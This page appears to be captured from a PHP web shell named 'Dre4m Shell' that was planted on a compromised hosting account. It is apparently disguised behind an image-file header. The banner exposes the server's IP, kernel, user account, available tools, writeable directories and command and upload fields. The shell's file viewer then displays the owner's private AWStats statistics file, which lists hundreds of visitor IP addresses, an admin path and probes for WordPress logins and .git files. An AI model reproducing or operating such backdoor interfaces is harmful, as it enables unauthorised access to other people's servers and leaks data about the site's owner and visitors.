ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/tmp/awstats/ssl/awstats012019.lespotdulinge.computer3.fr.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 201901 will be lost/reset.
# Last config file used to build this data file was /home/computer3/tmp/awstats/ssl/awstats.lespotdulinge.computer3.fr.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2028                
POS_TIME 2701                
POS_VISITOR 14176               
POS_DAY 36373               
POS_DOMAIN 3656                
POS_LOGIN 4228                
POS_ROBOT 4383                
POS_WORMS 5328                
POS_EMAILSENDER 5459                
POS_EMAILRECEIVER 5602                
POS_SESSION 37320               
POS_SIDER 37530               
POS_FILETYPES 5737                
POS_DOWNLOADS 6078                
POS_OS 6126                
POS_BROWSER 6452                
POS_SCREENSIZE 8005                
POS_UNKNOWNREFERER 8079                
POS_UNKNOWNREFERERBROWSER 8717                
POS_ORIGIN 9286                
POS_SEREFERRALS 9434                
POS_PAGEREFS 9638                
POS_SEARCHWORDS 10285               
POS_KEYWORDS 10437               
POS_MISC 2364                
POS_ERRORS 10496               
POS_CLUSTER 4084                
POS_SIDER_404 10623               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20190201012843 1 0 15070389560594
FirstTime 20190101094339
LastTime 20190131234735
LastUpdate 20190202010410 1 0 0 0 0
TotalVisits 655                 
TotalUnique 512                 
MonthHostsKnown 0                   
MonthHostsUnknown 548                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 10 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 77 208 6411891 23 58 1797865
1 208 633 20697135 22 86 3492979
2 2 2 101238 11 27 938127
3 4 5 212673 16 26 710868
4 88 358 8690958 12 31 1403524
5 113 486 10341327 22 75 3564297
6 133 738 19107502 33 95 3216116
7 265 1116 27720479 36 108 4126773
8 201 1071 25804903 35 110 3581647
9 374 1573 44600125 59 217 8212321
10 495 2048 70588443 42 191 7008948
11 391 1366 47441746 38 173 7508929
12 389 1274 39039931 42 174 5742699
13 421 1611 49047300 64 235 8538920
14 354 1513 46048169 33 191 7672647
15 318 1036 32962789 29 253 10756796
16 331 1304 44742191 44 197 7235683
17 379 1501 39520859 78 291 10018036
18 570 2254 70571308 62 315 12103448
19 345 1545 44915133 55 185 6464300
20 269 1256 32429350 78 330 9602406
21 929 4278 108621175 76 502 20244845
22 677 2306 55261768 93 355 12521034
23 509 2130 57618191 45 215 7483296
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 23
fr 7180 28580 806690203
us 324 1816 53447992
ru 113 377 15453423
ch 58 151 6680308
gb 54 55 2488576
ie 29 217 4667417
gf 24 92 4816680
ca 11 70 2124352
sg 8 49 872267
ma 8 46 883233
es 8 49 872267
de 7 62 1928408
hu 6 6 322749
it 3 32 670834
se 2 2 107750
pk 1 1 53716
ua 1 1 53687
nl 1 1 53714
ng 1 1 53716
br 1 1 54070
kz 1 1 54070
sk 1 1 54070
id 0 1 93082
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 20
facebookexternalhit/ 1490 45203870 20190131233028 2
no_user_agent 489 12816631 20190131213358 0
Googlebot/ 367 12956760 20190131230009 60
Googlebot\-Image/ 105 6467412 20190131170633 0
Google[\x20]Web[\x20]Preview 60 1821467 20190101130940 0
crawler4j 51 2390782 20190126175252 0
LinkedInBot/ 14 324315 20190127190609 0
bot[\s_+:,\.\;\/\\-] 14 450084 20190131213745 1
unknown 12 828 20190129123608 12
bingbot/ 5 161958 20190126222840 2
Python\-urllib/ 5 264952 20190101160930 0
[\s_+:,\.\;\/\\-]bot 4 110296 20190113205749 1
Applebot/ 2 53756 20190129123550 1
AhrefsBot/ 2 53756 20190129123655 1
Yahoo![\x20]Slurp 1 69 20190124135338 1
Yahoo[\x20]Link[\x20]Preview 1 53685 20190124135339 0
nbot 1 47132 20190123022847 0
link 1 69 20190123034754 1
perl 1 53687 20190129131623 0
CFNetwork 1 18443 20190113093932 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
php 2875 80647823 0 0
html 3240 33011202 0 0
woff 478 21343596 0 0
gif 238 282381 0 0
json 64 46080 0 0
Unknown 1184 57940794 0 0
jpg 2808 281284554 0 0
png 7723 125583964 0 0
js 6389 163838521 0 0
eot 1 38205 0 0
css 6095 133895155 0 0
svg 479 266609 0 0
jpeg 38 4317700 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 17
macosx 2550 1262
macosx6 151 69
macosx9 62 6
linuxandroid 10354 2186
win10 4366 1014
winxp 59 21
Unknown 24 11
win8.1 92 26
ios_ipad 2446 538
macosx12 109 50
ios_iphone 8471 1877
win8 2 2
macosx10 344 100
win7 2098 488
linux 429 137
macosx11 4 4
win2000 51 51
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 72
chrome65.0.3325.230 84 18
chrome66.0.3359.126 280 103
chrome71.0.3578.83 111 37
Unknown 36 23
chrome49.0.2623.112 46 8
chrome61.0.3163.98 49 8
firefox28.0 1 0
chrome72.0.3626.76 361 57
firefox52.0 266 84
chrome69.0.3497.81 6 6
chrome59.0.3071.125 335 100
chrome61.0.3163.100 38 38
chrome70.0.3538.110 302 67
firefox43.0 1 1
firefox53.0 1 1
chrome34.0.1847.131 1 1
safari10.0 49 8
safari8.0 45 8
firefox62.0 8 8
chrome69.0.3497.100 165 31
msie11.0 126 47
safari12.0.2 470 154
firefox63.0 379 54
firefox49.0 2 2
chrome22.0.1216.0 1 1
chrome70.0.3538.80 204 57
safari7.0.3 61 6
android 1 0
msie7.0 2 2
edge17 1015 247
chrome50.0.2661.89 91 24
chrome66.0.3359.117 48 3
chrome40.0.2214.85 50 4
msie8.0 1 1
msie5.01 51 51
chrome53.0.2785.143 2 2
chrome71.0.3578.98 2358 542
chrome46.0.2490.76 103 15
chrome70.0.3538.102 388 67
chrome71.0.3578.99 7448 1548
chrome30.0.1599.103 49 8
safari 222 44
safari7.0 311 66
firefox52.6.0 1 1
chrome63.0.3239.111 397 61
firefox54.0 1 1
chrome60.0.3112.101 6 6
firefox44.0 122 18
chrome55.0.2883.91 110 24
safari11.0 344 56
msie6.0 8 8
safari10.1.2 122 15
firefox61.0 19 19
firefox64.0 2349 610
firefox48.0 151 69
safari12.0.3 4 4
safari11.0.3 1774 1047
chrome47.0.2526.83 10 10
chrome71.0.3578.80 60 5
safari12.0 2002 369
msie9.0 64 5
chrome68.0.3440.91 157 30
chrome65.0.3325.181 1 1
msie6.1 4 4
chrome43.0.2357.121 49 8
chrome65.0.3325.109 55 16
chrome70.0.3538.67 61 6
iphone 5894 1407
chrome41.0.2228.0 161 20
chrome70.0.3538.77 60 5
mozilla 2057 464
netscape5.0 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 10
Mozilla/5.0_(compatible;_TrendsmapResolver/0.1) 20190129123553
Mozilla/5.0_zgrab/0.x 20190123091454
cortex/1.0 20190130184219
YahooMailProxy;_https://help.yahoo.com/kb/yahoo-mail-proxy-SLN28749.html 20190130173659
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20190106165757
Go-http-client/1.1 20190108210530
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20190116182057
IDG/UK_(http://spaziodati.eu/) 20190119190433
YahooCacheSystem;_YahooWebServiceClient 20190125102948
IDG/IT_(http://spaziodati.eu/) 20190120001432
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 8
IDG/IT_(http://spaziodati.eu/) 20190120001432
YahooCacheSystem;_YahooWebServiceClient 20190125102948
IDG/UK_(http://spaziodati.eu/) 20190119190433
Go-http-client/1.1 20190108210530
python-requests/2.7.0_CPython/3.6.3rc1__Linux/4.11.3-84_fbk22_4210_gac0341fad7ae 20190131140436
YahooMailProxy;_https://help.yahoo.com/kb/yahoo-mail-proxy-SLN28749.html 20190130173659
cortex/1.0 20190130184219
python-requests/2.7.0_CPython/3.6.3rc1__Linux/4.11.3-82_fbk21_4202_g7d62f0f15773 20190131055433
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 352 507
From1 9 9
From2 94 102
From3 438 438
From4 6949 30556
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
www_google_fr 22 24
yahoo_catchall 0 1
www_google_com 72 77
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 15
http://m.facebook.com 337 337
https://www.facebook.com 38 38
https://m.facebook.com 18 18
https://lm.facebook.com/l.php 10 10
https://l.instagram.com 10 10
https://lm.facebook.com 6 6
https://l.facebook.com 6 6
https://brandnewblogs.com/site-browser/ 5 5
https://www.linkedin.com/feed/ 2 2
http://www.marinetraffic.com 1 1
https://www.linkedin.com/sharing/share-offsite/ 1 1
https://brandnewblogs.com 1 1
https://fr-fr.facebook.com 1 1
https://l.facebook.com/l.php 1 1
https://www.linkedin.com 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
302 48 362049
404 1688 80320847
301 9 2154
500 5 2
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 67
/uploadfiles/blog/business/js/jquery.prettyPhoto.js 3 -
/cp-admin/assets/css/images/ui-icons_222222_256x240.png 2 https://www.lespotdulinge.fr/cp-admin/add_event.php
/apple-touch-icon.png 4 -
/business/images/date_event.png 60 https://www.lespotdulinge.fr/evenements
/cp-admin/images/blog/gallery1.png 8 -
/cp-admin/assets/css/images/ui-bg_glass_55_fbf9ee_1x400.png 2 https://www.lespotdulinge.fr/cp-admin/add_event.php
/business/images/loading.gif 1127 https://www.lespotdulinge.fr/9-service-repassage
/test/wp-login.php 1 -
/cp-admin/log/includes/js/datepicker.js 17 https://www.lespotdulinge.fr/cp-admin/log/index.php
/info 2 -
/android-icon-192x192.png 4 https://www.lespotdulinge.fr/accueil
/wp1/wp-login.php 1 -
/uploadfiles/blog/business/js/jquery.js 3 -
/cp-admin/images/blog/gallery3.png 8 -
/cp-admin/assets/css/images/ui-icons_454545_256x240.png 1 https://www.lespotdulinge.fr/cp-admin/add_event.php
/android-icon-144x144.png 4 https://www.lespotdulinge.fr/accueil
/cp-admin/assets/css/images/ui-bg_highlight-soft_75_cccccc_1x100.png 2 https://www.lespotdulinge.fr/cp-admin/add_event.php
/cp-admin/images/blog/blog1.jpg 12 -
/cp-admin/assets/css/images/ui-bg_glass_75_e6e6e6_1x400.png 2 https://www.lespotdulinge.fr/cp-admin/add_event.php
/cp-admin/assets/css/images/ui-bg_glass_75_dadada_1x400.png 2 https://www.lespotdulinge.fr/cp-admin/add_event.php
/.well-known/assetlinks.json 10 -
/wp-login.php 2 -
/uploadfiles/blog/js/jquery-1.9.1.min.js 3 -
/uploadfiles/blog/business/js/bootstrap.min.js 3 -
/android-icon-72x72.png 6 https://www.lespotdulinge.fr/accueil
/uploadfiles/blog/business/js/main.js 3 -
/blog2/wp-login.php 2 -
/wordpress1/wp-login.php 1 -
/cp-admin/images/blog/gallery5.png 8 -
/uploadfiles/blog/business/js/jquery.isotope.min.js 3 -
/wp2/wp-login.php 2 -
/cp-admin/assets/css/font-awesome.min.css 255 https://www.lespotdulinge.fr/cp-admin/theme_shema.php
/signin 1 -
/blog1/wp-login.php 2 -
/cp-admin/images/blog/gallery4.png 8 -
/uploadfiles/blog/js/jssor.js 3 -
/uploadfiles/blog/1547891811Les 1 -
/test2/wp-login.php 1 -
/apple-touch-icon-precomposed.png 4 -
/wp/wp-login.php 2 -
/wordpress2/wp-login.php 2 -
/blog3/wp-login.php 1 -
/cp-admin/images/blog/gallery2.png 8 -
/uploadfiles/blog/start_to_top/modernizr.js 3 -
/cp-admin/images/blog/gallery6.png 8 -
/xmlrpc.php 12 -
/test1/wp-login.php 1 -
/uploadfiles/blog/start_to_top/main.js 3 -
/android-icon-96x96.png 4 https://www.lespotdulinge.fr/accueil
/index.html 4 -
/cp-admin/images/blog/boy.png 10 -
/wordpress3/wp-login.php 1 -
/blog/wp-login.php 1 -
/wp3/wp-login.php 2 -
/android-icon-48x48.png 4 https://www.lespotdulinge.fr/accueil
/uploadfiles/blog/1548086115chemises 1 -
/uploadfiles/blog/business/js/wow.min.js 3 -
/uploadfiles/blog/business/dist/lity.min.js 3 -
/uploadfiles/blog/business/js/lightbox.js 3 -
/cp-admin/assets/css/images/ui-bg_flat_75_ffffff_40x100.png 3 https://www.lespotdulinge.fr/cp-admin/assets/css/datepicker.css
/uploadfiles/blog/1547669493IMG_2162 2 -
/uploadfiles/blog/js/cookiechoices.js 3 -
/uploadfiles/blog/js/jquery.bootstrap-autohidingnavbar.js 3 -
/cp-admin/images/blog/avatar3.png 9 -
/.git/HEAD 2 -
/uploadfiles/blog/js/jssor.slider.debug.js 3 -
/android-icon-36x36.png 4 https://www.lespotdulinge.fr/accueil
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 548
78.217.28.172 663 1381 36802002 20190130050307
90.86.36.139 217 382 9905012 20190124080503
90.86.163.110 161 285 7496729 20190130183836
144.217.171.225 157 1100 31935744 20190102213246
92.170.129.127 136 545 16549875 20190131214153
90.86.161.220 124 289 7994669 20190116172400
83.193.3.32 106 345 10982217 20190131054237
185.219.241.91 105 331 14596945 20190130161637
90.86.200.10 87 165 6779186 20190106124520
83.193.154.157 80 220 6441566 20190124235220
176.190.226.55 79 160 6890238 20190131013101
78.203.81.61 78 166 9067275 20190124135128
92.136.117.95 76 242 10138835 20190114103111
90.102.8.65 75 219 10845628 20190128135510
84.100.8.58 74 160 8660519 20190113114415
109.11.60.173 72 160 7351814 20190131211647
79.81.86.185 69 151 7385428 20190118104108
109.214.64.213 67 145 7100661 20190125133220
86.221.125.58 66 178 7665130 20190128154125
86.196.235.120 59 119 3419616 20190117231852
90.30.82.159 58 132 5545139 20190117090622
151.127.16.42 58 151 6680308 20190122102927
77.84.84.19 58 198 10972367 20190131173321
77.136.84.255 51 123 5178891 20190126094703
178.208.16.92 50 172 7218521 20190103185851
188.141.136.174 12 78 3741328 20190118190622
83.193.71.63 8 45 842184 20190130220344
109.11.58.124 8 45 842184 20190123180709
69.171.251.1 1 19 647935 20190112111032
93.31.130.17 1 1 47162 20190126214216
92.184.112.35 8 49 872267 20190131140624
69.171.251.13 3 28 901909 20190116223149
66.220.149.7 1 1 6414 20190108225929
63.32.59.127 1 1 54070 20190120001432
90.30.227.8 15 74 2806045 20190130210731
89.92.254.127 8 45 842184 20190125121523
173.252.79.5 1 1 47132 20190122175813
78.204.154.60 8 45 842184 20190125224257
13.57.193.186 2 2 107360 20190122224010
92.146.14.36 8 45 842184 20190123202134
92.184.96.131 6 63 1857263 20190124141704
80.215.36.104 6 63 1857638 20190102163452
77.205.99.70 19 73 2109890 20190129214238
193.56.242.120 8 45 842184 20190125091109
91.165.245.225 8 45 842184 20190131061653
90.30.39.183 9 46 842184 20190130185516
80.12.58.23 8 45 842184 20190122190140
80.215.40.81 8 49 872267 20190131201426
90.30.11.169 8 45 842184 20190128185907
31.13.115.3 0 11 227275 
31.13.127.7 2 17 325590 20190130182047
31.13.115.8 2 11 81031 20190122175422
197.247.113.189 8 45 842184 20190125002858
88.171.179.39 8 45 842184 20190123234348
217.128.48.226 8 45 842184 20190131195745
83.193.37.252 7 51 1079730 20190131213230
185.77.158.69 8 49 872267 20190131082053
83.193.80.133 8 45 842184 20190125130015
217.182.175.162 1 1 47132 20190123023103
91.161.241.242 25 85 2537033 20190123145636
92.184.105.23 8 50 886553 20190111141536
109.11.61.58 8 45 842184 20190128132306
176.139.50.213 20 79 2165084 20190122183644
69.171.251.23 1 5 101333 20190131065936
90.30.81.171 42 156 6467945 20190123011517
79.81.87.135 8 49 872267 20190127210156
34.221.224.233 1 1 54070 20190104160357
109.222.225.100 1 1 47232 20190127220114
67.195.177.145 0 1 18164 
37.168.248.209 10 70 2067383 20190112171324
78.230.76.78 14 55 1080116 20190123071115
90.96.99.218 9 48 877849 20190117132802
90.30.185.22 23 85 2541029 20190122220219
91.160.72.194 4 63 1851152 20190128155620
80.215.247.103 8 49 872267 20190127191536
69.171.251.2 1 1 47132 20190130072346
90.30.5.187 8 45 842184 20190131093212
92.184.108.169 8 49 872267 20190131085143
77.84.84.196 7 52 1006599 20190130182434
91.160.73.175 8 49 873059 20190121160859
80.12.58.129 16 74 2247463 20190127183210
83.193.118.184 8 49 872267 20190124141750
81.64.236.95 8 45 842184 20190131215553
83.193.238.157 13 74 3711300 20190125185112
102.159.58.164 0 1 93082 
80.214.121.233 17 54 1022697 20190123000519
90.30.179.108 9 46 842184 20190131135541
176.179.135.179 26 93 4399731 20190127125838
87.88.196.167 43 122 6621790 20190111122215
90.49.197.26 31 131 3787367 20190127200300
173.252.127.24 3 14 224556 20190119205616
92.154.66.132 7 49 969912 20190130183617
173.252.127.17 0 4 164365 
138.128.144.75 1 1 53716 20190126184659
90.96.48.173 8 46 844486 20190127171107
173.252.95.8 1 4 64578 20190102213822
82.243.179.104 8 49 872267 20190131234735
31.13.115.2 0 2 18783 
92.156.203.72 14 68 1990882 20190126091704
212.82.108.126 0 1 17597 
104.192.74.196 5 60 1821041 20190125061947
80.215.47.136 14 62 1355380 20190130191722
80.215.11.107 8 49 872267 20190122195659
69.171.251.3 1 1 47132 20190130042337
195.210.46.41 1 1 54070 20190104213315
93.2.124.255 31 157 3625276 20190127210535
77.234.65.181 5 5 268645 20190126000122
83.193.107.38 8 45 841600 20190117070634
109.8.234.206 8 49 872267 20190124102746
90.89.124.249 8 49 872267 20190126233823
185.228.228.132 8 46 856478 20190109073158
69.171.251.12 0 1 24422 
93.188.2.5 1 1 54070 20190103194535
90.30.176.110 43 138 3447005 20190131215254
39.41.219.101 1 1 53716 20190127011350
90.30.9.59 10 69 1970295 20190124083216
86.222.207.198 8 49 871683 20190122050354
37.59.197.183 31 266 5826802 20190122175746
77.136.200.247 5 59 1816194 20190130072759
173.252.127.29 1 7 176508 20190108223552
173.252.127.36 0 1 1677 
90.30.49.103 1 7 300844 20190131154449
167.114.233.118 1 1 54106 20190109092042
82.243.181.23 10 71 3651368 20190130183825
87.231.200.192 15 65 2879431 20190123071453
83.193.1.94 8 45 842184 20190130171719
92.134.162.25 8 49 871683 20190116213007
92.138.134.46 41 192 7591707 20190130201519
90.30.18.122 8 45 842184 20190123110303
109.222.100.13 8 49 872267 20190131085451
92.184.104.163 8 50 886561 20190113122348
80.215.173.150 5 63 1846660 20190102104144
88.171.157.99 8 49 871683 20190117133418
176.130.227.133 13 61 2796082 20190125235055
80.14.143.215 10 70 2129188 20190128102019
80.12.41.145 8 45 842184 20190128190226
87.231.203.129 8 49 872267 20190123072650
34.207.219.235 1 1 47132 20190128031559
176.139.50.243 21 115 3712726 20190122202835
80.12.58.17 13 30 653760 20190131051216
173.252.95.7 0 1 18164 
83.193.209.171 8 49 872267 20190129201050
80.215.12.144 8 45 841600 20190116213607
188.141.183.41 22 95 5158026 20190129135800
86.110.226.150 1 1 54070 20190109120547
109.214.136.66 14 59 1166731 20190130233420
90.30.238.144 1 1 47159 20190130070538
83.193.162.209 16 55 1011508 20190102042813
92.138.132.93 8 45 842184 20190128124821
145.239.66.107 2 2 107360 20190131204445
77.136.203.106 14 55 1080116 20190125010622
78.221.34.21 26 104 4571377 20190131061553
77.207.69.79 9 64 2038863 20190106230129
78.153.241.195 1 1 53680 20190128112600
88.171.166.103 21 76 2155798 20190124091401
173.252.95.29 0 5 34234 
109.12.13.212 31 106 5946041 20190128182811
188.141.244.64 43 254 7545994 20190131131224
37.168.210.182 8 49 871684 20190131142505
69.171.251.22 1 1 46548 20190116223150
90.96.84.192 8 10 341371 20190119192738
31.13.115.5 5 33 707126 20190122175421
92.184.108.222 9 48 878433 20190130213751
66.226.75.93 1 1 54070 20190108210530
80.12.37.159 8 49 872267 20190128175015
83.193.112.156 9 48 879225 20190119164232
90.30.74.109 8 45 842184 20190129104902
86.250.85.114 8 45 842184 20190128180228
173.252.127.1 3 16 290071 20190119205616
176.190.227.128 13 79 3801260 20190130130434
90.54.29.78 8 45 842184 20190129055903
67.195.177.217 0 1 18164 
176.131.97.205 27 92 2534657 20190116183808
86.222.196.117 8 45 842184 20190126054238
92.184.108.237 20 74 2120655 20190125225956
69.171.251.30 1 1 47132 20190130222757
92.184.108.205 8 45 842184 20190128183850
80.12.58.57 8 45 842184 20190126041909
54.202.225.77 1 1 54113 20190129123750
193.56.244.53 8 45 842184 20190122211101
69.171.251.25 1 1 47132 20190130065807
77.84.131.115 9 46 842184 20190130002149
178.19.12.29 9 48 878367 20190127212525
83.193.36.232 8 49 871683 20190117145117
90.30.157.213 8 49 872267 20190127135744
86.222.188.9 3 32 670834 20190129194236
92.184.108.119 14 74 2196859 20190124154334
52.91.225.229 0 1 17597 
67.195.177.139 0 1 18164 
77.67.54.14 0 1 17597 
66.220.149.31 4 10 305872 20190119140705
5.48.247.1 17 97 1750600 20190123221458
83.193.14.190 8 49 872267 20190122213647
78.251.80.41 1 1 47159 20190123104809
5.39.34.40 1 1 53680 20190130044812
37.165.122.168 25 79 1953714 20190102145707
92.156.200.98 8 50 886561 20190109052033
37.169.14.100 8 45 842389 20190115090316
90.30.61.233 13 72 2031727 20190127145011
80.215.174.125 6 13 1889049 20190114000138
87.231.87.63 11 69 2073478 20190119101756
31.13.115.14 2 23 644419 20190122175422
74.220.207.150 1 1 54070 20190105080343
78.205.215.217 8 49 872267 20190122215450
77.84.138.48 9 46 842184 20190122211501
66.220.149.28 0 3 164747 
105.130.175.126 0 1 41049 
95.174.177.158 8 49 872267 20190123184742
83.193.248.166 8 45 842184 20190122221926
86.222.166.29 8 49 872267 20190123212217
80.215.83.249 3 18 546641 20190117112216
173.252.127.10 3 12 222454 20190120102733
31.13.115.11 2 11 434174 20190120171923
37.173.200.20 32 92 2803374 20190131225603
86.222.191.7 13 72 2075150 20190102111952
77.136.40.234 14 62 2851123 20190122201430
37.173.171.84 9 46 843620 20190123172110
173.252.95.34 1 18 606393 20190102213822
31.13.127.17 0 9 160097 
78.199.211.173 9 46 842184 20190123225553
91.160.73.48 11 71 2105590 20190125133759
91.161.206.68 32 88 2300284 20190129073337
90.30.83.178 8 45 842184 20190130071432
80.215.97.61 7 49 969912 20190130184006
37.164.191.139 9 46 843030 20190117185635
77.201.193.59 13 63 1888999 20190128111800
80.215.156.185 18 40 1640782 20190125141513
80.215.39.73 39 77 1388935 20190109073911
111.65.32.22 8 49 872267 20190123044159
92.184.108.45 8 8 133354 20190124172415
195.83.71.10 18 122 3725026 20190131163004
34.245.24.238 1 1 54070 20190119190433
93.19.116.186 8 49 872267 20190126083900
197.211.34.55 1 1 53716 20190127210640
69.171.251.10 1 1 44432 20190107103025
69.171.251.27 1 1 47132 20190130044052
92.136.244.28 44 157 4655999 20190107114916
91.160.72.131 30 86 2466773 20190125065936
34.253.114.4 1 1 54075 20190120000728
85.170.168.184 7 53 999995 20190130184859
80.12.58.220 1 1 47159 20190124074247
83.193.37.95 8 49 872267 20190124175543
83.193.117.66 8 49 872091 20190112133920
87.231.201.178 8 49 872267 20190125215927
80.12.58.255 16 94 1670019 20190128222257
31.13.127.16 0 2 21679 
80.12.58.146 7 53 999995 20190130215342
83.193.118.33 19 62 1603215 20190125070202
18.144.74.210 1 1 54070 20190115002953
83.193.18.134 24 83 2409645 20190130011525
80.214.66.59 13 59 1131675 20190130190312
92.184.108.58 14 79 3741380 20190125182403
212.198.113.90 9 50 963663 20190120210545
90.30.15.8 7 53 999995 20190130190024
207.246.249.196 1 1 54070 20190101181904
31.13.115.13 0 2 97585 
37.165.170.121 7 49 971315 20190131114109
54.219.174.13 2 2 108140 20190119114955
90.88.85.14 8 49 872267 20190124211727
109.11.30.35 8 45 842184 20190126092649
69.171.251.9 1 1 47132 20190130042543
78.251.6.13 23 117 3766035 20190123053704
69.171.251.20 2 20 561958 20190131033542
82.246.227.34 8 45 842184 20190122213847
80.12.58.41 8 45 842184 20190123131856
35.220.222.205 8 8 436264 20190101105957
77.136.202.81 6 48 1043554 20190105125018
78.242.250.55 8 49 872237 20190124131158
66.249.89.97 1 1 54070 20190116182057
80.12.58.77 23 106 2017221 20190129144818
173.252.95.14 2 17 673035 20190102213821
66.220.149.21 0 7 73053 
92.184.108.35 16 58 1153491 20190130211105
